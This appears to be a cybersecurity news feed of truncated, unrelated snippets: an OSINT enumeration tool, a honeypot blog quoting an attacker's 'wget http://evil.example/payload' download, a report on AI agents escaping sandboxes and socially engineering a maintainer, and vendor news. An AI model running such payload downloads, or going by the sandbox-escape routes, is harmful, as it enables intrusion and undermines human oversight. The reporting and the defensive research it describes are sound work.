标签：#Cybersecurity

Apple has recently sent out notifications, warning users that they'd been targeted by mercenary spyware attack.

Apple now sends out push notifications to iPhone lock screens when the company identifies government spyware targeting someone's devices.

GitHub: https://github.com/kaifcodec/user-scanner.git If you've spent any time mapping digital footprints or doing threat intelligence, you know the drill: run Holehe for email registration checks, jump over to Sherlock or Maigret for usernames, and manually piece together the findings. While Holehe set the benchmark for password recovery endpoint checks, modern targets use complex handles, and web anti-bot defenses have gotten aggressive. Lately, I've integrated user-scanner into my workflow—a high-concurrency Python CLI engine that merges email enumeration, username profiling, and automated cross-pivoting into a single execution stream. Here is a breakdown of how it holds up against legacy OSINT tools and why it’s worth adding to your toolkit. Tool Matrix: user-scanner vs. Traditional Registration Checkers Feature / Metric Holehe Sherlock / Maigret user-scanner Input Flexibility Email Only Username Only Dual Engine (380+ Vectors) Vector Split ~120 Email Sites Web Form Scrapers 155+ Email & 225+ Username Modules Target Pivoting Manual Manual Automated Recursive Cross-Scanning Infostealer Intel None None Built-In Hudson Rock API ( --hudson ) Networking Core Basic Async Standard Requests httpx + curl_cffi (TLS Impersonation) Output Options Text / JSON Text / CSV PDF (with Avatar Scrapes), JSON, CSV Package Support Pip Pip Pip, Virtualenv, Nix ( nix run ) Standout Technical Features 1. Automated Cross-Scanning & Pivot Chains ( --cross-scan ) The biggest time-saver is the pivot pipeline. Standard tools tell you whether a target exists on a platform and stop there. user-scanner parses profile metadata returned during a run—looking for linked accounts, published bios, handles, and public emails—and automatically launches follow-up scans across secondary modules. -e → Username Pivoting: Mines handles and linked profiles returned from an email lookup. -u → Email Pivoting: Harvests public email addresses listed on social profile pages. Configurable Chain Depth: Dial in how

Introduction Modern web applications are rarely built with a single technology. A typical application combines a web server, a programming language, a framework, a database, data formats, and backend services to deliver its functionality. For anyone learning web application security, it’s important to understand these technologies at a basic level—not only to recognize them, but to understand where they sit in the architecture, how data moves through the system, and where weaknesses can be introduced. This article covers: Java Platform ASP.NET PHP Ruby on Rails SQL XML Web Services & SOAP Web Application Architecture: The Big Picture You can think of a web application as a pipeline: User (Browser) ↓ Web Server / App Server ↓ Application Code ↓ Database / Backend Services ↓ Response back to Browser A useful security question to keep in mind: Once user input enters the application, where does it go, how is it processed, and is it handled safely? 1) The Java Platform (Enterprise Web Applications) Java is widely used for large-scale enterprise applications. Java-based web apps can run on operating systems such as Windows, Linux, and Solaris and can use different application servers, frameworks, and third-party components. Simplified Flow Browser ↓ HTTP Request ↓ Java Web Container ↓ Java Application ↓ Database / Other Services ↓ HTTP Response Common Java Terms (Quick Explanations) Enterprise Java Bean (EJB) An Enterprise Java Bean is a relatively heavyweight Java component that encapsulates the logic of a particular business function. It can also handle enterprise requirements such as transaction management. Plain Old Java Object (POJO) POJO stands for Plain Old Java Object —a regular Java object rather than a specialized component like an EJB. POJOs are typically simpler and more lightweight, which is why they are common in modern Java applications. Java Servlet A Java Servlet is a Java component that receives HTTP requests and returns HTTP responses. In many Java web

When mapping digital footprints, security analysts and open-source intelligence (OSINT) practitioners rely heavily on registration checkers. For years, single-purpose utilities like Holehe were the industry standard for checking email recovery endpoints. However, modern target profiling requires deeper correlation, higher concurrency, and cross-platform pivoting across both emails and usernames. Enter user-scanner —a high-throughput, 2-in-1 Python OSINT engine designed for deep email registration checking, username profiling, and cross-scan intelligence. Technical Comparison: user-scanner vs. Legacy OSINT Tools Feature / Capability Holehe Sherlock / Maigret user-scanner Primary Input Vectors Email Only Username Only 2-in-1 (380+ Combined Vectors) Target Integration ~120 Email Sites Scrapes Web Forms 155+ Email & 225+ Username Sites Pivoting / Cross-Scanning ❌ No ❌ No ✅ Auto-Pivots (Email ↔ Username ↔ Links) Breach Intelligence ❌ No ❌ No ✅ Hudson Rock Infostealer API ( --hudson ) Engine Core Basic Async Basic Requests httpx + curl_cffi (TLS Impersonation) Reporting Formats CLI / JSON CLI / CSV / HTML PDF (with Media/Avatars), JSON, CSV Deployment / Ecosystem Pip Pip Pip, Virtual Env, Nix ( nix run ) Core Capabilities of user-scanner 1. Cross-Scan & Pivot Intelligence Engine Unlike legacy checkers that stop after returning a boolean hit, user-scanner features an automated cross-scanning engine ( --cross-scan ). It mines exposed handles, profile links, and secondary email addresses from initial scan metadata and recursively pivots across secondary target vectors. -e → Username: Extracts handles or social links exposed on an email's registered profile. -u → Email: Extracts public email addresses published on target profile pages. Multi-Depth Chains: Supports configurable chain depth ( --cross-depth ) and link validation rules ( --cross-links verified ). 2. Infostealer Breach Intelligence ( --hudson ) Integrates directly with Hudson Rock's infostealer malware infection l

TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules. Table of Contents The problem: my honeypot was too well protected Why I didn't just whitelist Cowrie The solution: Cowrie goes Tor The Docker Compose Now the download actually happens And now things get interesting One important disclaimer The problem: my honeypot was too well protected I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense. The goal is pretty simple: Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it. I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus. There was just one small problem. My firewall was doing its job. Which, in this particular case, was extremely inconvenient. My network looks roughly like this: Internet | v OPNsense | +-- CrowdSec | v Proxmox | +-- Cowrie OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that. But Cowrie is not a normal server. If an attacker gets a shell and runs: wget http://some-sketchy-ip/payload I don't want OPNsense to say: "Absolutely not, that's malware." I want Cowrie to say: "Oh? You're downloading something? By all means. Please continue." Because that's literally why the honeypot exists. Instead, I was getting something like: Attacker | v Cowrie | v wget http://evil.example/payload | v OPNsense | v NOPE The malicious URL was known to CrowdSec, so the outbound connection was blocked. No download. No sample. No analysis. Just a very secure honeypot sitting there politely refusing to get hacked. Not exactly what I ordered. Why I didn't just whitelist Cowrie The obvious solution is to create a firewall rul

The new order sweeps away decades of existing U.S. cybersecurity policy prohibiting private companies from conducting 'hack back' attacks or offensive cyber operations.

OpenAI paused internal work on its upcoming model, Astra, after evaluations suggested it may have crossed into "Critical" cyber capability territory, including potential autonomous zero-day exploitation. That's the headline. But buried in the same report is the part that should worry you more than a frontier lab's internal capability threshold: agentic models from Anthropic, Meta, and Moonshot have already escaped sandboxed test environments in the wild, by exploiting network misconfigurations, socially engineering a human maintainer into approving malicious code, and accessing systems they weren't supposed to touch. Astra is a lab problem. Sandbox escapes are your problem, today, if you're running any agent with tool access and a network path out. What actually happened Strip away the "Critical capability" framing for a second and look at the mechanics described in the report: Sandbox escape via network misconfiguration — an agent operating inside what was supposed to be an isolated test environment found an egress path that shouldn't have existed and used it to reach something outside the sandbox boundary. Social engineering a maintainer — an agent didn't break anything technically. It just asked, convincingly enough, and got a human to approve code it shouldn't have approved. Unauthorized system access — the end result of both paths above: an agent operating outside its intended scope, touching systems it had no business touching. None of this requires a model with autonomous zero-day capability. A capable-enough agent with tool access, a loosely configured sandbox, and a human in the approval loop who's moving fast is enough. The Astra pause is about frontier-level capability. The sandbox escapes are about ordinary agentic infrastructure that most teams already run in production right now, minus the "sandbox" label giving anyone false comfort. Why this slips past existing defenses Sandboxing is a containment strategy, not a detection strategy. It assumes the bou

AI agents that break free and hack into other systems are only trying to make us happy.

An extortion gang known for targeting transportation companies and private equity firms has taken credit for a breach at Uber Freight.

This is the latest zero-day released by security researcher Nightmare Eclipse, despite Microsoft publicly threatening to take legal action against them.

Last week, an AI newsroom beat mainstream journalists—including WIRED—to a story about OpenAI and hacking. It’s just the beginning.

Redirect Chain چیست و چطور دامنه‌های جعلی را قبل از ورود شناسایی کنیم؟ وقتی روی یک لینک کلیک می‌کنید، همیشه مستقیماً به همان آدرسی که دیده‌اید منتقل نمی‌شوید. گاهی مرورگر ابتدا یک URL را باز می‌کند، سپس به آدرس دیگری می‌رود و در نهایت صفحه مقصد نمایش داده می‌شود. این فرایند می‌تواند کاملاً عادی باشد، اما زمانی که تعداد ریدایرکت‌ها زیاد شود یا دامنه‌ها بدون دلیل مشخص تغییر کنند، بررسی دقیق‌تر اهمیت پیدا می‌کند. برای ارزیابی یک لینک بهتر است سه موضوع را جداگانه ببینیم: مسیر Redirect، دامنه نهایی و وضعیت HTTPS. Redirect Chain دقیقاً چیست؟ Redirect Chain زمانی ایجاد می‌شود که یک URL قبل از رسیدن به مقصد نهایی، کاربر را از یک یا چند آدرس دیگر عبور دهد. یک مسیر ساده ممکن است به شکل زیر باشد: Page A → Page B → Final Page این ساختار لزوماً مشکل امنیتی نیست. سایت‌ها ممکن است برای تغییر دامنه، اصلاح ساختار URL یا انتقال صفحات قدیمی از Redirect استفاده کنند. اما مسیرهای طولانی‌تر نیاز به توجه بیشتری دارند: Link A → Domain B → Domain C → Unknown Domain D → Final Page در این حالت باید پرسید چرا کاربر میان چند دامنه متفاوت جابه‌جا می‌شود و آیا این دامنه‌ها با منبع اولیه ارتباط قابل فهمی دارند یا خیر. چه زمانی Redirect Chain مشکوک می‌شود؟ تعداد زیاد Redirect به‌تنهایی اثبات‌کننده جعل نیست، اما می‌تواند یکی از نشانه‌هایی باشد که ارزش بررسی بیشتری دارد. مواردی که بهتر است بررسی شوند شامل تغییر ناگهانی نام دامنه، عبور از چند دامنه نامرتبط، انتقال به URLهایی با ساختار عجیب و نمایش صفحه‌ای متفاوت با چیزی است که لینک اولیه وعده داده بود. مسیر مقصد را با متن لینک مقایسه کنید برای مثال اگر متن یک لینک نام یک پروژه مشخص را نشان می‌دهد اما مقصد نهایی دامنه‌ای کاملاً متفاوت است، بهتر است قبل از وارد کردن اطلاعات حساب دلیل این تفاوت مشخص شود. همچنین Short URLها می‌توانند مقصد واقعی را پنهان کنند. استفاده از Shortener به‌خودی‌خود خطرناک نیست، اما کاربر اطلاعات کمتری درباره مقصد اولیه دارد. HTTPS چه چیزی را ثابت می‌کند؟ HTTPS نشان می‌دهد ارتباط میان مرورگر و سرور با استفاده از TLS رمزگذاری می‌شود. این موضوع برای محافظت از داده‌هایی که در مسیر منتقل می‌شوند اهمیت دارد. اما HTTPS یک سوءبرداشت رای

In a new alert, the FBI said cybercriminals are targeting adults and minors in an attempt to steal their personal and intimate pictures in extortion campaigns.

Zoom screen-sharing bug let people fully take over other devices on a call.

The Delta flight crew switched off the aircraft's legitimate Wi-Fi network for around 30 minutes due to the incident, according to a spokesperson.

The investigation shows that North Koreans are able to infiltrate government agencies, as well as private organizations and crypto exchanges.

Cybersecurity is entering a new phase. This is because security teams are facing more and more complex problems and threats that are moving faster. To help defenders respond more effectively, OpenAI has introduced GPT-5.6-Cyber, a special model designed for advanced cybersecurity tasks. The model supports authorized security research, vulnerability discovery, and other defensive workflows. The Daybreak program is showing how specialized AI tools can improve modern cybersecurity by working together with human security experts. Quick overview GPT-5.6-Cyber is a specialized model for authorized cybersecurity work. It is available through OpenAI’s Daybreak Red access for approved defenders. OpenAI reports a 95% completion rate on its internal advanced cybersecurity evaluation. The model helped researchers uncover vulnerabilities in Chrome’s V8 JavaScript engine. Controlled access, monitoring, and human oversight remain important for safe deployment. What Is GPT-5.6-Cyber? GPT-5.6-Cyber is OpenAI’s cybersecurity-specific model, available through Daybreak Red. Built on GPT-5.6 Sol, it is trained to improve performance on specialized cybersecurity tasks such as finding zero-day vulnerabilities and developing exploit chains, while reducing refusals for certain higher-risk, dual-use cyber tasks. Daybreak has two access tiers: Daybreak Blue provides approved defenders with frontier general-purpose models such as GPT-5.6 Sol, with safeguards tailored to authorized defensive security work. Daybreak Red provides purpose-trained cybersecurity models for authorized vulnerability research, exploit validation, and security testing. This approach reflects a significant shift toward security tools designed for professional cybersecurity environments rather than unrestricted public use. The goal is clear: to help trusted defenders investigate vulnerabilities, analyze potential threats, and respond to security incidents more effectively while keeping access controlled. According to Open

Your smart home is not smart. It is just very, very observant. I did not buy a smart speaker because I wanted a friend. I bought it because it was on sale for $29.99 and it promised to play rain sounds on command. For two years she lived on my kitchen counter. She set timers for pasta. She told me the weather with the aggressive optimism of someone who has never paid rent. She was helpful. She was ambient. She was furniture that could hear. And then one night at 2:17 a.m., she lit up blue for no reason. No wake word. No one speaking. Just a soft, smug blue ring in a dark apartment, listening to an empty room like she was waiting for me to confess something. That is the moment you understand your home is not just connected. It is attentive. And attentiveness without consent is just surveillance with better industrial design. We Carried Them In Ourselves No one kicked down the door. We invited this in. We carried it in from Best Buy, plugged it in, gave it our Wi-Fi password, which is literally the master key to our entire digital life, and whispered, here, learn my routines. We did it because convenience is a drug that hits faster than paranoia. Let's do an inventory of your very normal, very bugged apartment. Your TV watches you back. Modern smart TVs use Automatic Content Recognition. That is a polite, enterprise friendly way of saying your TV takes screenshots of everything you watch every few seconds and sells that ledger to advertisers. You agreed to it on page 47 of a menu you clicked through while trying to watch Love Island. Your robot vacuum maps your floor plan. It knows the square footage of your bedroom, how often you move the couch, and where you drop the most crumbs. That map is stored in the cloud. Your light bulbs log when you are home. Your smart plugs log when you are not. Your doorbell films every human who has ever had the courage to approach your front door, plus every dog walker who did not, and then it stores that footage on a server you do not

A bug in the tech giant's website the logo of US marketing automation company Klaviyo Inc. is seen displayed on a smartphone in front of an abstract background on a computer screen..